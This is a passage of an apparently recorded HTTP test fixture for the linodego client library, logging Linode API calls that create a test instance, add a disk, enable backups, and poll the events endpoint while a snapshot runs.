"Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:43:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-14x573eovrw1","firewall_id":693098,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61876053, "label": "go-test-ins-wo-disk-14x573eovrw1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:43:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-3ky473f0f2sb","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/configs method: POST response: body: '{"id": 65096567, "label": "go-test-conf-3ky473f0f2sb", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:43:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053 method: GET response: body: '{"id": 61876053, "label": "go-test-ins-wo-disk-14x573eovrw1", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "817" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:43:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-disk-test","size":10,"filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/disks method: POST response: body: '{"id": 121427060, "status": "not ready", "label": "linodego-disk-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 10}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "173" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268204, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 7.0, "action": "disk_create", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "finished", "secondary_entity": {"id": 121427060, "type": "disk", "label": "linodego-disk-test", "url": "/v4/linode/instances/61876053/disks/121427060"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "569" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups/enable method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"snapshot-linodego-testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053/backups method: POST response: body: '{"id": 298852965, "region": "ap-west", "type": "snapshot", "status": "pending", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": null, "label": "snapshot-linodego-testing", "configs": [], "disks": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "250" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 14, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 29, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 44, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:45:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 59, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:45:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 74, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:45:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 89, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:45:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 104, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:46:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788268407}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788268407, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 120, "action": "linode_snapshot", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "454" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:46:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write 